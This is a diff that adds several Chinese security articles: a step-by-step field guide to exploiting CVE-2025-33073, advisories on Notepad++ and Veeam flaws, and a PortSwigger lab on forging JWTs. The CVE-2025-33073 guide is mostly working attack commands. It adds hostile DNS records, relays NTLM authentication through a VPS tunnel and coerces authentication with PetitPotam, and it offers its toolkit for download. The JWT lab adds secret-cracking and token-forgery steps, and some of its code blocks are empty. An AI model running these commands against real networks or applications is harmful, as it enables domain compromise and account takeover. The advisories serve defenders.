+关注“**IoVSecurity** +” + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/fBQwicMRtG3qyicHcTibNaG9RMs2E8knzWpfH0gnibzKsciaBTYdnW8mFyNgvEAqBNoib29iasxMgwh2gWRSIkINyHVLA/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/mmbiz_png/D7nIuxbSmauhlzDVRGHTibAGyGcFvY5qFSPyZdMCxTSXwjhzFTotRe6rciaIxatoAHF0MPI73MMPAbf0UUMIMSvw/640?wx_fmt=other&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +点个在看 +你最好看 + + + diff --git a/doc/2025-06/内网横行：CVE-2025-33073 实战场景利用全流程指南 附利用工具.md b/doc/2025-06/内网横行：CVE-2025-33073 实战场景利用全流程指南 附利用工具.md new file mode 100644 index 00000000..2694fbe6 --- /dev/null +++ b/doc/2025-06/内网横行：CVE-2025-33073 实战场景利用全流程指南 附利用工具.md @@ -0,0 +1,293 @@ +# 内网横行：CVE-2025-33073 实战场景利用全流程指南 | 附利用工具 +原创 薛定的饿猫 饿猫的小黑屋 2025-06-24 07:15 + +**前言** +**** + + +参考资料 + +在上一篇文章中，对  +CVE-2025-33073 + 的漏洞原理进行了比较深入的分析，同时在靶场环境中进行了漏洞复现。出于漏洞原理和红队行动规范的原因， CVE-2025-33073 在实际利用的过程中比靶场会更加麻烦一些。本文将基于实战利用的场景对 CVE-2025-33073 进行全流程的攻击梳理。 +1. 靶场复现中存在的 Windows 端口占用问题在实战中没有太大影响，因为不可避免的需要走隧道进行利用，那么外网的 VPS 机器直接选择 Linux 即可。如果确实有需要用到 Windows 进行利用的情况，按照章节  +0x04 + 中不出网的部分进行转发即可。为了帮助小白更好的理解，文章最后也会对其单独进行讲解。 + +1. 为了使流程更加清晰，文中按照步骤搭建不同的隧道，实战情况下可以使用 frp 等能转发 SMB 的工具进行转发，简化利用流程并减少文件上传的数量。 + +如果想深入了解此漏洞，建议阅读前文。 +> 内网横行：CVE-2025-33073漏洞分析与攻击复现 + +> 薛定的饿猫，公众号：饿猫的小黑屋[内网横行：CVE-2025-33073漏洞分析与攻击复现](http://mp.weixin.qq.com/s?__biz=Mzg4NDU4OTQ1NA==&mid=2247484712&idx=1&sn=02ff86815b2cb114cbfcea520ff2db51&chksm=cfb493c9f8c31adfec2590226974b21f93d10095abfd157d19e38dd2c460a04e7a8301931b90#rd) + + + +**0x01 环境准备** +**** + + +参考资料 + +``` +域控DC Windows server 2022：192.168.214.134域内目标主机 Windows server 2022：192.168.214.135 外网主机 Windows server 2022  192.168.214.136  192.168.56.130(模拟外网IP) 攻击机 Windows 11：192.168.56.131公网VPS Kali Linux：192.168.56.129 +``` + + +0x02 最简攻击流程梳理 + + +参考资料 + +先回顾一下正常攻击的流程，主要分为三个步骤： + +1.  +向 DNS 服务器（域控）添加 DNS 记录。 + +``` +python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130 --action modify 192.168.214.134 +``` + + +2.  +开启监听，用于接收目标服务器发起的认证请求并反射回给目标服务器 +。 + +``` +python ntlmrelayx.py -t 192.168.214.135 -smb2support +``` + + +3.  +强制目标服务器向指定的主机发起 NTLM 认证 +。 + +``` +python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135 +``` + + +具体的攻击逻辑是如何实现的呢? + +``` +1. 攻击者在域控上添加一条精心构造的 DNS 记录，将主机名 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 指向攻击者的 IP 192.168.214.1382. 攻击者在内网跳板机（不必在域内，网络连通即可）上启动 SMB/LDAP 等协议的监听，接收到目标主机发起的 NTLM 认证请求后将其反射回目标主机3. 强制目标主机向 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 发起 NTLM 认证3. 目标主机向域控查询 badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 的 A 记录，并解析到 IP 192.168.214.1384. 目标主机向攻击者（192.168.214.138）发起 NTLM 认证请求5. 攻击者将收到的认证请求反射回目标主机6. 目标主机触发漏洞进行本地身份验证7. 在本地身份验证握手中，攻击者监听到有 Token 的上下文句柄，并提取 Hash +``` + +0x03 实战中不是问题的问题 + + +参考资料 + +``` +1. Windows 445 端口占用2. 相关利用脚本均依赖impacket +``` + + +依赖 +impacket +是很常见的问题，一般走隧道解决即可，主要问题在于入口机器如果是 Windows 的话，则会存在因为系统默认的 SMB 服务导致的端口占用问题。 + +如果在 Windows 下直接开启监听，那么会遇到监听失败的情况，而如果通过 +--smb-port +监听指定端口，又会导致默认是跟 445 端口进行验证而无法正常获取到上下文句柄的问题。那么如何解决呢？ + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2El0HJiatcJSs4WicBZ1RGVWJVr730xYzYCoI0LPYjklEsPQ6oSticRtAJnA/640?wx_fmt=png&from=appmsg "") + +原本想通过对 PetitPotam.py 进行改造以实现非默认端口的认证，但是受限于  +badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA + 的影响，最终没找到可以直接指定端口的方法，具体原因不与漏洞原理有关，可以参考上一篇文章，如果有师傅想继续研究可以跟我交流。 + +除此之外还能想到就是端口转发，关闭SMB服务等方法。关闭SMB服务对系 +统影响较大 +，也不符合红队行动规范，因此最终通过 +康哥（@浮尘云烟） +推荐的  +StreamDivert + 实现转发， +具体的利用 +将在后续讲到。 + +那么为什么说这是一个不是问题的问题呢？因为在实际利用当中我们大概率是会使用隧道来执行脚本的，那么我们的攻击机器完全可以使用 Linux 系统。 + +0x04  +完整攻击流程 + + +参考资料 + +搭建环境如下，并将入口机上线到攻击机的 CS： + +``` +已获得普通域用户：domainuser01 / User01!@#域控DC Windows server 2022：192.168.214.134域内目标主机 Windows server 2022：192.168.214.135 入口跳板主机 Windows server 2022  192.168.214.136  192.168.56.130 (模拟外网IP) 攻击机 Windows 11：192.168.56.131公网VPS Kali Linux：192.168.56.129 +``` + + +一. 目标主机出网 + +在目标出网的情况下可以直接在 VPS 服务器上进行监听。 + +1.  +开启  +socks + 代理并配置本地  +proxifier + 。 + +``` +iox.exe proxy -l 8080 +``` + + +2.  +向域控 +添加 DNS 解析记录 +。因为 LDAP 使用 TCP 而 DNS 查询使用 UDP （DNS 服务器一般默认支持 TCP 查询），为了实现实战中不同工具场景下更好的兼容性 ，最好是将 UDP 封装到 TCP 中传输 ， +dnstool.py + 已经集成了该功能，可以非常方便的直接使用。 + +``` +python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.137 --action modify 192.168.214.134 --tcp＃ 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2ElNVnpeR4DRjEJx1cclcqfpLIjhKPFibOgbRAxfOAicJ0dzTiakbp63ibJeg/640?wx_fmt=png&from=appmsg "") + + +3.  +开启 relay 监听，因为目标主机出网因此不必指定端口。 + +``` +python ntlmrelayx.py -t 192.168.214.135 -smb2support +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2ElekKQTcsMU955KME3t3Dy8WplDhoXsthxLxzyPoOtQwJNgvDNcWicr2w/640?wx_fmt=png&from=appmsg "") + + +4.  +强制目标主机发起  +NTLM 认证 +。 + +``` +python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2ElgJHQ5okYIjsexJU50BaIiaYm0p9N2rEGSKrlPIHNf3eFAY5STnVq5lQ/640?wx_fmt=png&from=appmsg "") + + +5.  +监听主机接收到 Hash。 + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2ElwLTveyMHJ117rPAtehPUibkchbE2DibCKNGZMtAzOWTuwwBkWDMuZ6oQ/640?wx_fmt=png&from=appmsg "") + +二. 目标主机不出网 + +这种情况需要在入口机器上搭建一层隧道来实现流量的转发。 + +1.  +开启  +socks + 代理并配置本地  +proxifier + 。 + +``` +iox.exe proxy -l 8080 +``` + + +2.  +向域控添加  +DNS 解析记录 +，此时需要将解析指向入口机器 IP  +192.168.214.130 +。 + +``` +python dnstool.py -u luckytom.com\domainuser01 -p User01!@# -r badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA -d 192.168.214.130 --action modify 192.168.214.134 --tcp＃ 这里必须加 --tcp 参数将 UDP 封装在 TCP中进行 DNS 查询 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2El9ECSwYiaZtYHV24uWcSOibialo34w5EuXhJddAbBu4hHcOSBQajemE3cw/640?wx_fmt=png&from=appmsg "") + + +3 +. +  +在  +VPS + 开启监听。如果是 Windows 主机，则使 +用 +--smb-port  +指定 +一个端口。 + +注意这里需要使用  +proxychains + 来运行  +ntlmrelayx.py + ，因为 VPS 接收到目标机器的验证请求之后需要通过  +iox + 隧道将其反射回内网。具体原理可以参考上一篇文章。 +``` +proxychains python3 ntlmrelayx.py -t 192.168.214.135 -smb2support +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2ElfH6XY55PI6SvLlHHlic93ic817LicnyybF396Dl0hibAib7XofI34m5FDicw/640?wx_fmt=png&from=appmsg "") + + +4.  +在入口机搭建隧道，将本地 445 端口流量转发到远程 VPS 主机的监听端口。 + +StreamDivert + 配置文件如下： +``` +tcp < 445 0.0.0.0 -> 192.168.56.129 445 +``` +``` +5. 加载配置文件启动转发： +``` +``` +shell StreamDivert.exe config.txt +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2ElT7EdNQ1uYmNjnfeDgV2cZUJYHSmjc4ibib1oKo7nQ2Y2SIwCG21iaqQBg/640?wx_fmt=png&from=appmsg "") + +6.  +强制目标主机发起 NTLM 认证。 +``` +python PetitPotam.py -d luckytom.com -u domainuser01 -p User01!@# badtom1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA 192.168.214.135 +``` + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2El5omDmUWIhOEP9uPibfBtvkeHfWyNk5tEYBdOiawhibCTn6xDibSOKwcumQ/640?wx_fmt=png&from=appmsg "") + +7.  +攻击完成。 + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2EljPh2GDQnJ6pmUcObLoxnrU8ZyWvtzW8VzozwicMwL46tQiaNP4JrnTEA/640?wx_fmt=png&from=appmsg "") + +0x05  +Windows 端口占用问题 + + +参考资料 + +跟前面差不多，就不赘述了。 + +![](https://mmbiz.qpic.cn/mmbiz_png/rA9dDxDOarTN8zeB3TxJOSGgf0Pad2ElG9dDVFvaPEjG0fXuc7sjnicoicslXqhoTwnW3uvkwpYa2mBwYGSVeIoA/640?wx_fmt=png&from=appmsg "") + +参考链接 + +``` +https://mp.weixin.qq.com/s/NrGyltW-f8a3Zqr0-4oYnw +``` + + + +* + +后台回复“CVE-2025-33073”获得工具集下载地址 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/rA9dDxDOarQvwxWqIZkXL6ibTEBOB4hNhtuJcQcLM3f3VKllE3RmlNIx2Tz5Djg4yptIxV5ibhUgDNEvFW6GZfQQ/640?wx_fmt=jpeg "") + + + + diff --git a/doc/2025-06/威胁情报：Notepad++ 本地提权漏洞 POC已公开.md b/doc/2025-06/威胁情报：Notepad++ 本地提权漏洞 POC已公开.md new file mode 100644 index 00000000..f192ea3e --- /dev/null +++ b/doc/2025-06/威胁情报：Notepad++ 本地提权漏洞 POC已公开.md @@ -0,0 +1,116 @@ +# 威胁情报：Notepad++ 本地提权漏洞 | POC已公开 +原创 网安情报攻防站 李白你好 2025-06-24 05:15 + +**免责声明：** +由于传播、利用本公众号李白你好所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号李白你好及作者不为此承担任何责任，一旦造成后果请自行承担！如有侵权烦请告知，我们会立即删除并致歉。谢谢！ + +## 漏洞背景与技术细节 + +截至 2025 年 6 月 24 日，CVE-2025-49144 被确认是一个严重的安全漏洞，影响 Notepad++ 的安装程序，具体版本为 v8.8.1 及更早。Notepad++ 是一款免费开源的源代码编辑器，广泛用于 Windows 系统。该漏洞的类型为“未受控制的可执行文件/动态链接库搜索路径”（Uncontrolled EXE/DLL Search Path），也称为“二进制植入”（Binary Planting），属于本地权限提升类漏洞。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/XoIcX2HtlUBabgm0LuQzXGLWMNbtxb1AcXiaDy69J6hmg2mvHfpsPMECvzrgbiczrCnsBZxclWVick4Y0Zic77fDZg/640?wx_fmt=jpeg&from=appmsg "") + +根据调查，该漏洞的根因在于安装程序在调用 regsvr32 + 时未指定绝对路径。例如，原始代码可能为： +- **漏洞代码** +：ExecWait 'regsvr32 /u /s "$INSTDIR\NppShell_01.dll"' +这会导致安装程序从当前工作目录加载 regsvr32.exe +，如果攻击者事先在该目录放置了恶意可执行文件，系统将以 SYSTEM 权限执行该文件。 + +修复版本 v8.8.2 修改了该行为，明确指定绝对路径，例如： +- **修复代码** +：ExecWait '$SYSDIR\regsvr32.exe /u /s "$INSTDIR\NppShell_01.dll"' +这样可以避免从当前工作目录加载恶意文件。 + +## 攻击方法与影响 + +攻击方法分为以下几个步骤： +1. **准备阶段** +：攻击者在目标系统当前工作目录中放置一个恶意的 regsvr32.exe + 文件或其他可执行文件。 + +1. **攻击向量** +：用户运行 Notepad++ v8.8.1 的安装程序。 + +1. **执行阶段** +：安装程序调用 regsvr32 + 时，从当前工作目录加载恶意文件，并以 SYSTEM 权限执行。 + +1. **结果** +：攻击者获得对系统的完全控制权，可安装程序、修改数据或创建新账户。 + +该漏洞的严重性被评为高（High），CVSS v3 分数为 AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H，评分为 7.8/10。用户交互（UI:R）是触发条件之一，但攻击者只需诱导用户运行安装程序即可。 +## PoC 与公开信息 + +已发布 PoC 材料，供安全研究人员验证漏洞。PoC 可在一下链接查看，其中包括演示视频和相关代码。这表明漏洞已被广泛关注，潜在风险较高。 + +![](https://mmbiz.qpic.cn/mmbiz_jpg/XoIcX2HtlUBabgm0LuQzXGLWMNbtxb1AQgwde4H6q4p0qEMLWP4QYNLWK8vicDxXPBpTQeywVZV0ybs9Em1L15Q/640?wx_fmt=jpeg&from=appmsg "") + +![演示视频](https://mmbiz.qpic.cn/mmbiz_jpg/XoIcX2HtlUBabgm0LuQzXGLWMNbtxb1An8XfniczEUTxiaIApAZJc0gZhbicbicl6eibmcOZ2EJSQaibG37V6BcSA5ibQ/640?wx_fmt=jpeg&from=appmsg "") + +演示视频 +``` +https://youtu.be/qCQlVllAfO0 +``` + +**POC** +``` +https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24https://drive.google.com/drive/folders/11yeUSWgqHvt4Bz5jO3ilRRfcpQZ6Gvpn +``` +## 修复建议 + +**1、所有 Notepad++ 用户请务必更新至 8.8.2 及以上版本** + +**2、下载渠道谨慎：强烈建议从 Notepad++ 官网、GitHub Releases 下载，不使用第三方镜像或链接。** + +**3、安装隔离建议：对于重要设备，将安装操作限于受控目录，避免与下载文件混杂。** + +**4、强化本地保护机制：结合用户权限控制、安装时 UAC 弹出提示等机制阻挡本地投毒路径。** + +**5、提升警惕：定期清理 Downloads 文件夹，不随意执行下载的 EXE 和 DLL；企业可结合 EDR 工具拦截异常加载行为。** + +此外，开发人员和系统管理员可参考以下建议： +- **使用绝对路径** +：确保所有可执行文件的调用使用绝对路径，避免从当前工作目录加载。 + +- **数字签名验证** +：实施文件数字签名验证，确保加载的文件来源可信。 + +- **安全临时目录** +：使用随机化的临时目录名称，减少攻击者植入恶意文件的可能性。 + +## 相关漏洞与对比 + +该漏洞与以下类似漏洞有一定关联： +- CVE-2023-6401：涉及类似二进制植入问题。 + +- CVE-2023-47452：特权提升漏洞。 + +- CVE-2024-44346：相关软件中的类似问题。 + +- Dell SupportAssist (DSA-2024-312)：涉及安装程序的安全性问题。 + +这些漏洞均强调了安装程序中未受控制搜索路径的潜在风险，值得注意。 +## 时间线与发布信息 + +根据调查，该漏洞首次发布于 2025 年 5 月 5 日，NVD 于 2025 年 6 月 23 日记录了相关变更（NVD Change Record）。公开信息显示，GitHub 安全咨询也在近期更新，详细描述了漏洞详情**GitHub Advisory** +： +``` +https://github.com/notepad-plus-plus/notepad-plus-plus/security/advisories/GHSA-9vx8-v79m-6m24 +``` +## 漏洞总结 + +
字段详情
CVE ID
CVE-2025-49144
软件包
Notepad++ (Windows)
受影响版本
v8.8.1 及更早
修复版本
v8.8.2
漏洞类型
未受控制 EXE/DLL 搜索路径 (Binary Planting)
影响
本地特权提升至 NT AUTHORITY\SYSTEM
发布日期
2025-05-05
严重性
高
CVSS v3 分数
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H, 评分为 7.8/10
攻击方法
攻击者植入恶意文件，用户运行安装程序，加载恶意文件以 SYSTEM 权限执行
PoC
公开
类似漏洞
CVE-2023-6401, CVE-2023-47452, CVE-2024-44346, Dell DSA-2024-312
+## 网络安全情报攻防站 + + +李白你好VIP社区- +网络安全资源社区 + +https://www.libaisec.com/ + +代理访问效果更佳 + +![图片](https://mmbiz.qpic.cn/mmbiz_png/XoIcX2HtlUAg3Py86HKiaIMOCoBO5XtiaE76npWQFlx8Cq83LUVu4KNvRBDDv2r0voeWYok6HDKf5yoouvVHEI8w/640?wx_fmt=png&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1 "") + + diff --git a/doc/2025-06/漏洞预警 Veeam Backup & Replication远程代码执行漏洞.md b/doc/2025-06/漏洞预警 Veeam Backup & Replication远程代码执行漏洞.md new file mode 100644 index 00000000..31753338 --- /dev/null +++ b/doc/2025-06/漏洞预警 Veeam Backup & Replication远程代码执行漏洞.md @@ -0,0 +1,44 @@ +# 漏洞预警 | Veeam Backup & Replication远程代码执行漏洞 +浅安 浅安安全 2025-06-24 00:01 + +# 0x00 漏洞编号 +- # CVE-2025-23121 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +Veeam Backup & Replication是一款功能强大的数据备份与恢复软件，它不仅可以保护虚拟化环境，还提供了跨平台的备份支持，为企业提供强大的数据保护功能，包括快速备份、即时恢复、灾难恢复和复制等功能，旨在确保数据的高可用性和业务的持续性。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SWdS9YicuaOwLnxqSibmTDDfMKDOQb0XaTa47KNJRrdd3bQJ80c9vmRqFjTe4XC7gGGKVWPKKXoqbiag/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +**0x03 漏洞详情** +### + +**CVE-2025-23121** + +**漏洞类型：** +远程代码执行 + +**影响：** +执行任意代码 + +**简述：** +V +eeam Backup & Replication存在远程代码执行漏洞，该漏洞允许经过身份验证的域用户在Veeam Backup & Replication备份服务器上执行任意代码。 + +**0x04 影响版本** +- Veeam Backup & Replication <= 12.3.1.1139 + +**0x05****POC状态** +- 未公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本，建议用户关注官方动态****：** + +https://www.veeam.com/ + + + diff --git a/doc/2025-06/破解 JWT：漏洞赏金猎人指南（第二部分）.md b/doc/2025-06/破解 JWT：漏洞赏金猎人指南（第二部分）.md new file mode 100644 index 00000000..c87f57a1 --- /dev/null +++ b/doc/2025-06/破解 JWT：漏洞赏金猎人指南（第二部分）.md @@ -0,0 +1,327 @@ +# 破解 JWT：漏洞赏金猎人指南（第二部分） +haidragon 安全狗的自我修养 2025-06-24 04:45 + +# 通过弱签名密钥绕过 JWT 身份验证以获取 Bug Bounty，通过在易受攻击的 Web 应用程序中强制使用弱 JWT 机密来伪造管理员访问权限。 +## 前 言：破解 JWT 系列 + +欢迎来到我正在进行的“破解 JWT”漏洞赏金利用系列的第 2 部分——深入探讨不良加密实践和 Web 身份验证系统交叉点上的漏洞。 + +JWT（JSON Web Tokens）无处不在——从现代 Web 应用程序到 API 身份验证——但如果实施不当，它们就会成为攻击者的金矿。本系列教程包含多个部分，将带您探索 7 个以上基于真实世界的实验，涵盖从存在缺陷的验证和算法混淆，到可暴力破解的密钥和公钥配置错误等各种问题。 + +这是第 1 篇文章的链接。 + + + +文章索引 + + +如果您是漏洞赏金猎人、安全研究员，或者只是渴望了解 JWT 是如何被攻破的 —— 那么这篇文章就适合您。🧠💣 + + + +# ✨ 简介 + +JSON Web Tokens (JWT) 在 Web 应用程序中用于维护会话和身份信息，非常流行。但与任何安全机制一样，JWT 的安全性取决于其实现方式。在本文中，我将带您完成一个动手实验，通过暴力破解一个弱对称签名密钥并伪造一个有效的管理员令牌来绕过 JWT 身份验证。💥 + +是的，我又在这个实验室里把卡洛斯删掉了。卡洛斯永远是卡洛斯。😤 + + + +破解 JWT：漏洞赏金猎人指南（第二部分） + + + + +# 🔐 JWT 简介：快速复习 + +典型的 JWT 由 3 个以点分隔的 base64 编码部分组成： +``` +``` +``` +``` +# 1. 标题 + +包含有关所用算法的元数据： + +{ + +"alg" +: + +"HS256" +, + +"typ" +: + +"JWT" + +} +# 2. 有效载荷 + +存储有关用户的声明： + +{ + +"sub" +: + +"wiener" +, + +"admin" +: + +false + +} +# 3.签名 + +使用密钥以加密方式验证令牌是否被篡改。 + + + +# 🧠 了解漏洞 + +PortSwigger Academy 实验室向我们展示了一个经典漏洞：使用弱对称密钥 ( secret1) 签名的 JWT。如果我们能够暴力破解该密钥，就能签署自己的令牌，并冒充任何用户，包括管理员。😎 + +这种缺陷在现实世界的应用程序中极其常见，开发人员： +- 硬编码秘密 +- 使用弱/密码式密钥 +- 不要旋转或安全存储签名材料 +让我们打破这个实验室并将那个弱密钥转变为完全的管理控制权。 + + + +# 🧪 实验室概述 + +实验室名称：通过弱签名密钥绕过 JWT 身份验证平台：PortSwigger Web 安全学院目标：暴力破解 JWT 签名密钥，伪造管理员令牌并删除carlos + + + +# 🧰 你需要的工具 +- 🧩 Burp Suite（带有 JWT 编辑器扩展） +- ⚔️ Hashcat（暴力破解 JWT 秘密） +- 🔐 Wallarm 的 jwt-secrets 列表 +# ✅ 漏洞利用步骤 +> ⚠️ 在我们开始之前，请确保在 Burp 中设置了 JWT 编辑器扩展。 + + + + +# 1️⃣ 进入实验室 + +访问提供的实验室 URL 并使用以下方式登录：wiener:peter + + + + + + +# 2️⃣ 尝试访问/admin + +尝试直接访问 — 您将收到 403 或重定向。目前尚无管理员权限。 + + + + + + +# 3️ 捕获 JWT + +在 Burp 中，拦截对 的请求/admin，然后将其发送到 Repeater。检查 Authorization 标头——这就是我们的目标 JWT。 + + + + + + +# 4️⃣ 暴力破解 JWT 密钥 + +克隆秘密列表： +``` +``` + +运行 Hashcat： +``` +``` + + + + +💥 Boom — 我们破解了秘密： + +secret1 +> 💡 运行--show即可揭示破解的秘密，无需重新处理。 + + + + +# 5️⃣ Base64 编码秘密 + +使用 Burp Decoder 编码secret1为 base64： + +Result + → c2VjcmV0MQ== + + + + + + +# 6️⃣ 在 Burp 中生成对称密钥 + +JWT 编辑器 → 密钥 → 新建对称密钥 +- 生成新密钥 +- 将参数替换k为c2VjcmV0MQ== +- 保存密钥 +# 7️⃣ 修改并签名令牌 + +在 Burp Repeater → JWT 选项卡中： +- 更改"sub"为"administrator" +- 点击签名→选择对称密钥 +- 勾选“不要修改标题” +- 点击“确定” +# 8️⃣ 发送修改后的请求 + +将签名的 JWT 请求发送至/admin🎉 成功 — 授予管理员访问权限。 + + + + + + +# 9️⃣ 删除卡洛斯 + +发送此 GET 请求： + +/admin/delete?username=carlos + +🗑️ 抱歉，卡洛斯，你跑得很好。 + + + + + + +# 🔟确认实验室完成 + +右键单击 → 在浏览器中显示 → 确认实验成功。🏁 大功告成！ + + + + + + +# 📌 关键要点 + +✅ 弱 JWT 密钥 = 严重的身份验证绕过 + +✅ 始终正确使用 base64 加密你的密钥 + +✅ Hashcat + Burp 等工具 = 致命组合 + +✅ 永远不要低估代币逻辑中的小疏忽 + + + +# 🌍 现实世界的相关性 + +JWT 是现代应用程序中的主要内容，但它们的实现通常很差： +- 薄弱/可猜测的秘密 +- 移动应用中的硬编码令牌 +- 缺乏alg执法 +这些疏忽可能意味着全面入侵——账户接管、权限提升、数据窃取。在 VAPT 或赏金工作期间，务必对 JWT 进行批判性分析。🧠💼 + + + +# 🙌 祝您黑客愉快！ + +这就是我的 JWT 绕过系列的第二部分！从alg: none密钥破解开始，我们正在慢慢揭开错误配置的 JWT 的真正脆弱性。 + +  + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREkjoibjFst4F2YTlvkRG4zW0h21TYuO94OrIGsD2aHGrUcUYiasibQS5AYJ4a95Ra3zIFIXQ4e8lkFA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREkjoibjFst4F2YTlvkRG4zW6iapnXQ3Wviaiaiap37xFRqNok6BymcTiacnk07OowXYFowAKYfa9zS6gSA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQEREkjoibjFst4F2YTlvkRG4zWiaJkE3jZRR7znMJDXAlibBzibYaGLMlVvsa1xhlQFyv3viaARicSIII7a9A/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +# + + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHWXCBzZk44eZOKvIGq0RZia2vfZVtmPodgjznTwlY7PXU40F5KQ8xiceJOhLktswpMhec0zQVz07Cw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + + +rust语言全栈开发视频教程-第一季(2025最新) + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFO4iaNJUiawzlicADlGjS6UCWtUt0Jaibcc4U8aM7H8pSmjNWZHzZC2ibEib1voX6Waqowyd0Mnfce48Hg/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFO3lqcLOMSd2PQZ9GiblkFIKNw2LH9DMNEibhyxpUVNCd907wCN9NroUqTaJgquiapibArIRby4AGMoQ/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFO3lqcLOMSd2PQZ9GiblkFIRnBhWWFJXdzp516ibYibQsicDCzfq1MicKGdv9os1l2nyDAVNSR8b5cPow/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +# 详细目录 +# mac/ios安全视频 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERFbBn3mydWukVkxb7u4ibpOneTvEKRymYhW9KMlUWP1RnaXLuZibvPMdGmrdWVV3AMJya9dNxszgOeA/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") +# QT开发底层原理与安全逆向视频教程 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERGLucgfllJsyUEFRxtnUNkLfUhNeUCnH7x8VtPq0Q2zxZBdhjqiaibsx0rIbaYWMuIibmk5QtNPzsOSw/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +linux文件系统存储与文件过滤安全开发视频教程(2024最新) + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHSM6Wk8NAEmbHHUS2brkROr9JOj6WZCwGz4gE4MlibULVefmhRw2dvJd8ZeYnDpRIm0AV1TmIsuEQ/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +linux高级usb安全开发与源码分析视频教程 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERHCd9Qic4AAIQfFFD7Rabvry4pqowTdAw6HyVbkibwH5NjRTU4Mibeo4JbMRD3XplqCRzg4Kiaib3jchSw/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +linux程序设计与安全开发 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/vBZcZNVQERGoVibbKav1DpliaTJ9icDrosqXeWyaMRJdCVWEG0VYLDibSMwUP1L5r9XmLibGkEkSZnXjPD6mWgkib9lA/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "") + +- 